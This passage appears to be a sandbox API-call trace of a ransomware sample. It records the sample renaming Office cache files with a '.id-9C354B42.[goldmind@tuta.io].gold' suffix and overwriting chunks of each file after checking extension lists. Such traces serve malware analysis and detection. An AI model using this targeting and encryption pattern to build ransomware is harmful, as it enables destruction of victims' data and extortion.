(lpString1=".jpg", lpString2=".ttf") returned -1 [0035.013] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0035.013] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0035.013] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.013] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=2506240) returned 1 [0035.013] CloseHandle (hObject=0x1a0) returned 1 [0035.013] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0035.014] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.014] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0035.014] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.014] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0035.014] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0035.014] ReadFile (in: hFile=0x1a0, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.019] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0035.019] ReadFile (in: hFile=0x1a0, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.030] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0035.030] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0035.030] ReadFile (in: hFile=0x1a0, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.048] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0035.048] WriteFile (in: hFile=0x1a0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0035.325] SetEndOfFile (hFile=0x1a0) returned 1 [0035.326] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f34090 [0035.636] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0035.636] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.704] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0035.704] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.708] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0035.708] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.710] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f34090 | out: hHeap=0x880000) returned 1 [0035.852] CloseHandle (hObject=0x1a0) returned 1 [0036.107] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0036.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0036.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0036.107] lstrlenW (lpString=".doc") returned 4 [0036.107] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0036.107] lstrlenW (lpString=".docx") returned 5 [0036.107] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0036.107] lstrlenW (lpString=".pdf") returned 4 [0036.107] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0036.107] lstrlenW (lpString=".xls") returned 4 [0036.107] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0036.107] lstrlenW (lpString=".xlsx") returned 5 [0036.107] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0036.107] lstrlenW (lpString=".ppt") returned 4 [0036.107] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0036.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0036.107] lstrlenW (lpString=".zip") returned 4 [0036.107] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0036.107] lstrlenW (lpString=".rar") returned 4 [0036.107] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0036.107] lstrlenW (lpString=".bz2") returned 4 [0036.107] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0036.107] lstrlenW (lpString=".7z") returned 3 [0036.107] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0036.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0036.107] lstrlenW (lpString=".dbf") returned 4 [0036.108] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0036.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0036.108] lstrlenW (lpString=".1cd") returned 4 [0036.108] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0036.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0036.108] lstrlenW (lpString=".jpg") returned 4 [0036.108] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0036.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0036.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0036.108] lstrlenW (lpString=".doc") returned 4 [0036.108] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0036.108] lstrlenW (lpString=".docx") returned 5 [0036.108] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0036.108] lstrlenW (lpString=".pdf") returned 4 [0036.108] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0036.108] lstrlenW (lpString=".xls") returned 4 [0036.108] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0036.108] lstrlenW (lpString=".xlsx") returned 5 [0036.108] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0036.108] lstrlenW (lpString=".ppt") returned 4 [0036.108] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0036.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0036.108] lstrlenW (lpString=".zip") returned 4 [0036.108] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0036.108] lstrlenW (lpString=".rar") returned 4 [0036.108] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0036.108] lstrlenW (lpString=".bz2") returned 4 [0036.108] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0036.108] lstrlenW (lpString=".7z") returned 3 [0036.108] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0036.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0036.108] lstrlenW (lpString=".dbf") returned 4 [0036.108] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0036.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0036.108] lstrlenW (lpString=".1cd") returned 4 [0036.108] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0036.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0036.108] lstrlenW (lpString=".jpg") returned 4 [0036.108] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0036.108] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0036.108] lstrlenW (lpString="PubLR.cab") returned 9 [0036.108] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.109] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=9958388) returned 1 [0036.109] CloseHandle (hObject=0x1a0) returned 1 [0036.109] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0036.109] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.109] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0036.159] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.159] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0036.159] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0036.160] ReadFile (in: hFile=0x1a0, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.201] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0036.201] ReadFile (in: hFile=0x1a0, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.209] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0036.209] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0036.209] ReadFile (in: hFile=0x1a0, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.228] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0036.228] WriteFile (in: hFile=0x1a0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0036.241] SetEndOfFile (hFile=0x1a0) returned 1 [0036.241] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f940a8 [0036.243] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0036.243] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f940a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f940a8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.244] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0036.244] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f940a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f940a8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.496] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0036.496] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f940a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f940a8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.544] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f940a8 | out: hHeap=0x880000) returned 1 [0036.546] CloseHandle (hObject=0x1a0) returned 1 [0038.133] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0038.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0038.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0038.133] lstrlenW (lpString=".doc") returned 4 [0038.133] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0038.133] lstrlenW (lpString=".docx") returned 5 [0038.133] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0038.133] lstrlenW (lpString=".pdf") returned 4 [0038.133] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0038.133] lstrlenW (lpString=".xls") returned 4 [0038.133] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0038.133] lstrlenW (lpString=".xlsx") returned 5 [0038.133] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0038.133] lstrlenW (lpString=".ppt") returned 4 [0038.133] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0038.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0038.134] lstrlenW (lpString=".zip") returned 4 [0038.134] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0038.134] lstrlenW (lpString=".rar") returned 4 [0038.134] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0038.134] lstrlenW (lpString=".bz2") returned 4 [0038.134] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0038.134] lstrlenW (lpString=".7z") returned 3 [0038.134] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0038.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0038.134] lstrlenW (lpString=".dbf") returned 4 [0038.134] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0038.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0038.134] lstrlenW (lpString=".1cd") returned 4 [0038.134] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0038.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0038.134] lstrlenW (lpString=".jpg") returned 4 [0038.134] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0038.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0038.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0038.134] lstrlenW (lpString=".doc") returned 4 [0038.134] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0038.134] lstrlenW (lpString=".docx") returned 5 [0038.134] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0038.134] lstrlenW (lpString=".pdf") returned 4 [0038.134] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0038.134] lstrlenW (lpString=".xls") returned 4 [0038.134] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0038.134] lstrlenW (lpString=".xlsx") returned 5 [0038.134] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0038.134] lstrlenW (lpString=".ppt") returned 4 [0038.134] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0038.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0038.134] lstrlenW (lpString=".zip") returned 4 [0038.134] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0038.134] lstrlenW (lpString=".rar") returned 4 [0038.134] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0038.134] lstrlenW (lpString=".bz2") returned 4 [0038.134] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0038.134] lstrlenW (lpString=".7z") returned 3 [0038.134] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0038.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0038.134] lstrlenW (lpString=".dbf") returned 4 [0038.134] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0038.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0038.134] lstrlenW (lpString=".1cd") returned 4 [0038.134] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0038.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0038.134] lstrlenW (lpString=".jpg") returned 4 [0038.134] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0038.134] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0038.135] lstrlenW (lpString="Proof.cab") returned 9 [0038.135] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.135] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=11482605) returned 1 [0038.135] CloseHandle (hObject=0x1a0) returned 1 [0038.135] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0038.135] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.135] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0038.464] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.464] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0038.464] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0038.464] ReadFile (in: hFile=0x1a0, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.467] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0038.468] ReadFile (in: hFile=0x1a0, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.472] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0038.472] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0038.472] ReadFile (in: hFile=0x1a0, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.487] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0038.487] WriteFile (in: hFile=0x1a0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0038.500] SetEndOfFile (hFile=0x1a0) returned 1 [0038.500] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f8c0a8 [0038.503] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0038.503] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f8c0a8*, nNumberOfBytesToWrite=0x40000, 